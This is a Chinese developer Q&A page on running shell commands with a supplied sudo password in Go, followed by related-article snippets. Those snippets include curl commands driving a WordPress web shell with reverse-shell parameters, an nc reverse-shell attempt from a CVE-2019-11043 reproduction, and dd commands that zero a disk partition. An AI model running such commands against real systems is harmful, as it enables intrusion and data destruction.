首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

如何在给定sudo密码的情况下使用Golang to shell命令

在给定sudo密码的情况下,使用Golang执行shell命令可以通过以下步骤实现:

  1. 导入必要的包:
代码语言:txt
复制
import (
    "fmt"
    "os/exec"
    "syscall"
)
  1. 定义一个函数来执行shell命令:
代码语言:txt
复制
func executeCommand(command string, sudoPassword string) (string, error) {
    cmd := exec.Command("sudo", "-S", "sh", "-c", command)
    cmd.SysProcAttr = &syscall.SysProcAttr{
        Setpgid: true,
    }

    stdin, err := cmd.StdinPipe()
    if err != nil {
        return "", err
    }

    go func() {
        defer stdin.Close()
        fmt.Fprintf(stdin, "%s\n", sudoPassword)
    }()

    output, err := cmd.CombinedOutput()
    if err != nil {
        return "", err
    }

    return string(output), nil
}
  1. 调用函数执行shell命令:
代码语言:txt
复制
func main() {
    sudoPassword := "your_sudo_password"
    command := "your_shell_command"

    output, err := executeCommand(command, sudoPassword)
    if err != nil {
        fmt.Println("Error:", err)
        return
    }

    fmt.Println("Output:", output)
}

请注意,这种方法需要在执行sudo命令时提供sudo密码。确保在使用此方法时,sudo密码是安全的,并且只有授权的用户可以访问该密码。

以上是使用Golang执行shell命令的基本步骤。根据具体的应用场景和需求,可以进一步优化和扩展代码。

页面内容是否对你有帮助?
有帮助
没帮助

相关·内容

如何使用presshellWordPress主机上执行Shell命令

关于presshell presshell是一款针对WordPressShell工具,该工具可以帮助广大研究人员上传Shell文件,并在WordPress服务器/主机上轻松执行Shell命令。...工具下载 广大研究人员可以使用下列命令将该项目源码克隆至本地: git clone https://github.com/scheatkode/presshell.git 工具安装 安装该工具之前...工具使用 该工具使用也非常简单,我们可以直接将“sh”命令以参数形式传递给Shell即可: ❯ curl 'http://host/.../shell.php?.../shell.php' --data-urlencode 'cmd=ls' LICENSE README.md shell.php 除此之外,该工具还支持使用一些更加复杂命令,: ❯ curl.../shell.php' --data-urlencode 'ip=127.0.0.1' --data-urlencode 'port=1337' 我们还可以使用下列命令向插件目录轻松上传一个文件,而且无需通过任何检测

56910
  • Linux中不破坏磁盘情况下使用dd命令

    即使dd命令中输错哪怕一个字符,都会立即永久地清除整个驱动器宝贵数据。是的,确保输入无误很重要。 切记:在按下回车键调用dd之前,务必要考虑清楚!...你已插入了空驱动器(理想情况下容量与/dev/sda系统一样大)。...本文中,if=对应你想要恢复镜像,of=对应你想要写入镜像目标驱动器: # dd if=sdadisk.img of=/dev/sdb 还可以一个命令中同时执行创建操作和复制操作。...他曾告诉我,他监管每个大使馆都配有政府发放一把锤子。为什么?万一大使馆遇到什么危险,可以使用这把锤子砸烂所有硬盘。 那为什么不删除数据呢?你不是开玩笑吧?...这个命令将花一些时间/dev/sda1分区每个角落上创建数百万个0: # dd if=/dev/zero of=/dev/sda1 但它可以变得更好。

    7.5K42

    不确定列号情况下如何使用Vlookup查找

    最近小伙伴收集放假前排班数据 但是收上来数据乱七八糟 长下面这样 但是老板们只想看排班率 所以我们最终做表应该是这样 需要计算出排班率 排班率=排班人数/总人数 合计之外每一个单元格...都需要引用 除了最基础等于=引用 我们还有一种更加万能Vlookup+Match方法 这样无论日期怎么变化 无论日期顺序是否能对上 我们都不用更改公式 例如A部门,2月1日排班率应该这么写 =...B17 单元格为排班率日期 A2:K2 单元格为我们排班人数日期 M2:N8单元格是总人数 其中 分子排班人数公式是 VLOOKUP($A18,$A$1:$K$8,MATCH(B$17...,$A$2:$K$2,0),0) 排班人数里面的日期匹配 我们用Match函数动态确定列号 MATCH(B$17,$A$2:$K$2,0) 分母总人数比较简单 就是常规Vlookup VLOOKUP...部门合计我们需要确定部门行号即可 为防止部门变动 最好也用公式确定行号 这一块 可以有两种写法 一种是用Sum,Offset,Index,Match函数组合 =SUM(OFFSET(INDEX

    2.4K10

    关于2020最新Kali无法使用arpspoof命令解决(源和包都已经安装情况下)

    第一步 可以参照 这个 ———>参考地址——< 如果你按照上面的步骤安装了相应包,还是没有相应命令,那多半就是路径问题了 第二步 [root@server ~]# echo $PATH /usr.../local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin 如果输出东西和上面不一样,则输入下面的代码,将对应路径加入环境变量...sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin" 这下再试一下就OK啦 以上只能临时修改,永久修改变量需要配置profile 使用...vim对profile文件进行修改 修改对应路径 将if判断语句里面的PATH改成第二步环境变量 source /etc/profile 更新一下 最后就永久都有啦 版权声明:本文内容由互联网用户自发贡献...如发现本站有涉嫌侵权/违法违规内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

    97710

    『Ansible 上手指南』

    Ansible 上手指南 前言 最近在重构一款命令行工具,使用 golang 重新开发,但需要继续维持原有的命令,同时增加新命令。...重构过程中,需要对现命令行工具和原命令行工具命令输出结果进行比对,确保完全一致(项目要求),命令行工具需要在部署完成系统之后进行使用,每个系统完成时部署组件又稍微有点差异。...需要做这些动作: 拷贝一些配置文件到主机上:用户配置、IP和端口文件 安装命令行工具,确保使其服务主机上可以使用 执行一堆测试命令 按理说,我不断把需要配置和二进制文件拷贝到主机上进行测试也能完成。...ssh 密码(这种方式并不安全,我们强烈建议使用 --ask-pass 或 SSH 密钥) ansible_sudo_pass sudo 密码(这种方式并不安全,我们强烈建议使用 --ask-sudo-pass...目标系统shell类型.默认情况下,命令执行使用 'sh' 语法,可设置为 'csh' 或 'fish'. ansible_python_interpreter 目标主机 python 路径

    79230

    100个Linux命令(2)-用户管理

    出于安全考虑,系统用户一般不用来登录,所以系统用户默认 shell 一般是/sbin/nologin,并且大多数情况下它们没有家目录。...主要包括别名配置和 sudo 权限配置 安全策略配置格式为:用户名 主机名=(可切换到用户身份) 权限和命令 用户名:允许使用 sudo 用户名,也可以用用户组,只需组名前加个百分号%表示;.../bin/sh 若su没有给定任何参数,将默认以root身份运行交互式shell(交互式,所以需要输入密码),即切换到root用户,但只改变HOME和SHELL环境变量。...sudo从标准输入而非终端设备上读取密码给定密码必须在尾部加上换行符 -s [command] :(shell)指定要切换到shell,如果给定command,则在此shell上执行该命令 -...若使用uid方式指定用户,则需要使用"#uid",但很多时候可能需要对"#"使用"\"转义,即使用"\#uid" -E :(environment)该选项告诉sudo执行命令时保留自己环境变量

    1.9K00

    PHP远程代码执行漏洞复现(CVE-2019-11043)【反弹shell成功】

    环境 sudo apt-get install docker docker-compose sudo apt install golang 搭建漏洞环境 git clone https://github.com...url 中空格不影响命令执行: ? p 牛友情提示:您应该注意,只有部分PHP-FPM子进程受到了污染,因此请尝试几次以执行该命令。 反弹 shell: 因为我用是P牛环境,里面没有 nc 命令。...所以不能用 nc 反弹 shell。 ? 给此docer容器装一个 nc: p牛环境有两个 docker 镜像,一个是nginx,一个是 php: ? 进入 nginx 容器: ? ? ?...尝试url里面 nc 我本地监听端口: ? 没有成功。 但是继续观察,可能是镜像不对。因为p牛封装这个环境有两个 docker,刚刚都是 nginx docker 镜像里面尝试: ?...密码@ip:端口号/" 无需凭据: export http_proxy="http://ip:端口号/" export https_proxy="http://ip:端口号/" 注意:这种命令行运行是临时

    9.9K51

    09-3 更改身份

    (1)如何选择? 选择使用哪个命令很大程度上取决于使用 Linux 发行版本。有些发行版本可能对两个命令都支持,但是它系统配置可能只是偏向于其中一个。...至于如何把用户加入 sudo 组,您可以直接编辑 /etc/group 文件,当然您得使用一个有 sudo 权限用户来干这件事 sudo /etc/group (2)sudo 与 su 命令区别...特定情况下,用户可能被限制为只能执行一条或几条特定命令,而对其它命令没有执行权限。...使用 sudo 命令并不需要输入超级用户密码使用sudo 命令时,用户只需要输入自己密码来进行认证。...sudo backup_script 输入 sudo 命令后,系统将提示输入自己密码(注意:不是超级用户密码),而且一旦认证通过,指定命令都将被执行。

    45330

    linux之sudo使用技巧汇总

    来切换到目标用户 最后会在子进程中执行给定shell命令 sudo配置 USER/GROUP HOST=(USER[:GROUP]) [NOPASSWD:] COMMANDS USER/GROUP:...以其他用户执行命令 > sudo -u deploy whoami deploy 内置命令行为 sudo 一个限制是 —— 它无法使用 Shell 内置命令。...rumenz ALL=(ALL) NOPASSWD: /bin/echo /bin/ls vim 里面使用 sudo 命令 我们编辑系统配置文件时,保存时才意识到我们需要 root 访问权限来执行此操作...因为这个可能让我们丢失我们对文件改动。没有必要惊慌,我们可以 Vim 中使用下面的命令来解决这种情况 :w !sudo tee % 冒号 (?...为了频繁执行某些只有超级用户才能执行权限,而不用每次输入密码,可以使用命令。提示输入密码时该密码为当前账户密码。没有时间限制。执行该命令后提示符变为“#”而不是“$”。

    1.6K00

    linux之sudo使用技巧汇总

    来切换到目标用户 最后会在子进程中执行给定shell命令 sudo配置 USER/GROUP HOST=(USER[:GROUP]) [NOPASSWD:] COMMANDS USER/GROUP...以其他用户执行命令 > sudo -u deploy whoami deploy 内置命令行为 sudo 一个限制是 —— 它无法使用 Shell 内置命令。...rumenz ALL=(ALL) NOPASSWD: /bin/echo /bin/ls vim 里面使用 sudo 命令 我们编辑系统配置文件时,保存时才意识到我们需要 root 访问权限来执行此操作...因为这个可能让我们丢失我们对文件改动。没有必要惊慌,我们可以 Vim 中使用下面的命令来解决这种情况 :w !sudo tee % 冒号 (? 表明我们处于 Vim 退出模式 感叹号 (!)...为了频繁执行某些只有超级用户才能执行权限,而不用每次输入密码,可以使用命令。提示输入密码时该密码为当前账户密码。没有时间限制。执行该命令后提示符变为“#”而不是“$”。

    1.3K10

    linux之sudo使用技巧汇总

    ,调用setuid来切换到目标用户 - 最后会在子进程中执行给定shell命令 ### sudo配置 ``` USER/GROUP HOST=(USER[:GROUP]) [NOPASSWD:] COMMANDS...### 以其他用户执行命令 ``` > sudo -u deploy whoami deploy ``` ### 内置命令行为 > sudo 一个限制是 —— 它无法使用 Shell 内置命令。...``` rumenz ALL=(ALL) NOPASSWD: /bin/echo /bin/ls ``` ### vim 里面使用 sudo 命令 >我们编辑系统配置文件时,保存时才意识到我们需要...因为这个可能让我们丢失我们对文件改动。没有必要惊慌,我们可以 Vim 中使用下面的命令来解决这种情况 ``` :w !sudo tee % ``` - 冒号 (?...为了频繁执行某些只有超级用户才能执行权限,而不用每次输入密码,可以使用命令。提示输入密码时该密码为当前账户密码。没有时间限制。执行该命令后提示符变为“#”而不是“$”。

    1.7K20

    树莓派安装lazydocker命令行图形化界面快速管理Docker服务及镜像

    lazydocker 我这里以docker方式来安装lazydocker, 也就是本地构建lazydocker镜像~ sudo docker build -t lazyteam/lazydocker...设置为zsh(可选) zsh # 查看zsh位置 which zsh # 改变当前用户默认shell(需要输入当前用户登录密码) chsh # 输入zsh路径 /usr/bin/zsh # 直接切换到...zsh /usr/bin/zsh 为zsh设置快捷命令(如果你没有安装zsh,请自行将以下命令zsh字符替换为自己shell) # zsh配置文件中设置启动Lazydocker快捷指令lzd...通过命令行启动Lazydocker lzd 查看运行容器状态 查看运行容器状态 进入容器 进入容器 使用默认shell为sh,由于使用了exec -it进入容器,所以使用Ctrl+D退出,也不会导致容器关闭...(Ctrl+C可退出) E: 以exec -it方式为运行容器开启一个shell, shell退出后,不会影响正在运行容器 b: 调用批量操作containers命令窗口 与Images镜像有关快捷键命令

    93110

    sudo、su、su – 之间区别以及wheel组

    如何使用 su 命令切换到 root 用户,如下: [moonrong@haopython-kvm /]$ su   密码:   [root@haopython-kvm /]#    如上,su 命令要求输入密码是...然而,多数情况下,当从普通用户切换到 root 用户进行操作时,如果还使用普通用户环境变量的话,那是不可取甚至是危险操作。...sudo 命令只允许使用提升权限运行单个命令,而 su 命令会启动一个新 shell,同时允许使用 root 权限运行尽可能多命令,直到明确退出登录。...3.日志记录 尽管 sudo 命令是以目标用户(默认情况下是 root 用户)身份执行命令,但是它们会使用 sudoer 所配置用户名来记录是谁执行命令。...鼓励用户需要 root 权限时使用 sudo 命令。 然而,您还是可以成功执行 su 命令,而不用输入 root 用户密码

    2.4K31

    Linux操作系统 中用户管理,也就是关于用户相关操作与理解

    `/bin/bash`:这是用户登录 shell,表示用户登录后默认使用命令行解释器为 Bash(Bourne Again SHell)。...通常情况下密码字段 /etc/group 文件中是以 “x” 表示,而实际密码哈希值则存储 /etc/gshadow 文件中。 0:这是组标识号(GID)。...例如,要为名为"mygroup"用户组设置密码,可以执行以下命令sudo gpasswd mygroup 这些命令需要使用超级用户(root)或具有适当权限用户来执行。...您可以使用sudo命令来获取超级用户权限。请注意,执行这些命令时要小心,以免意外删除或修改重要用户组或用户信息。...选项 -m 用于同时创建用户主目录。 设置用户密码使用以下命令为用户设置密码sudo passwd username 将 username 替换为你创建用户名称。

    35310

    6 个超实用 Sudo 命令使用技巧

    最好,它会在上述子进程中执行参数给定 shell命令。...使用技巧总结 主要介绍使用 sudo 相关命令使用技巧和问题处理方式! [1] 如何将 visudo 编辑器从 nano 更改为 vim?...# Vim命令模式下执行即可强制保存 # w: 表示保存文件 # !: 表示执行外部命令 # tee: 表示把数据重定向到给定文件和屏幕上 # %: 执行外部命令时,%会扩展成当前文件名 :w !...[4] 如何sudo 会话时间随心所欲? 其中 sudo 命令是权限委派命令,在生产环境中是非常常用,默认情况下 sudo 命令会话时间是 15 分钟。...第一种解决方法,就是使用时候,使用 -E 参数。加上 -E 选项后,用户可以 sudo 执行时保留当前用户已存在环境变量,不会被 sudo 重置。

    1.4K20

    统信服务器操作系统

    来切换到目标用户 最后子进程中执行给定shell命令 sudoers配置文件格式 USER/GROUP HOST=(USER[:GROUP]) [NOPASSWD:] COMMANDS USER/GROUP...NOPASSWD:如果指定,则该用户或者组使用sudo时就不用输入密码 COMMANDS:表示运行指定命令,ALL表示允许指定任何命令,可配置命令1,命令2,......它会将用户放置 root 用户 home 目录中,并加载 root 用户 shell 配置文件。...sudo su `sudo su` 命令实际上是先使用 `sudo` 以root用户权限执行 `su` 命令。用于获取一个 root 用户 shell,但不会加载 root 用户完整环境。...sudo -s `sudo -s` 命令启动一个新 shell,但允许用户指定一个 shell 提示符。它不会改变用户 home 目录,但会提供一个 root 用户 shell 环境。

    30510

    Linux中sudo、su和su -命令区别小结

    前言 Linux系统中,由于root权限过大,一般情况都不使用它。只有一些特殊情况下才采用登录root执行管理任务,一般情况下临时使用root权限多采用su和sudo命令。...sudo sudo是一种权限管理机制,依赖于/etc/sudoers,其定义了授权给哪个用户可以以管理员身份能够执行什么样管理命令; 格式:sudo -u USERNAME COMMAND 默认情况下...需要root用户通过使用visudo命令编辑sudo配置文件/etc/sudoers,才可以授权其他普通用户执行sudo命令。...su USERNAME切换用户后,不改变原用户工作目录,及其他环境变量目录。 如何设置初始su密码? 当我们输入su时会发现要输入密码,我们尝试输入自己当前用户密码,发现failure。...注意:su -使用root密码,而sudo su使用用户密码 总结 以上就是这篇文章全部内容了,希望本文内容对大家学习或者工作具有一定参考学习价值,如果有疑问大家可以留言交流,谢谢大家对ZaLou.Cn

    33.5K41
    领券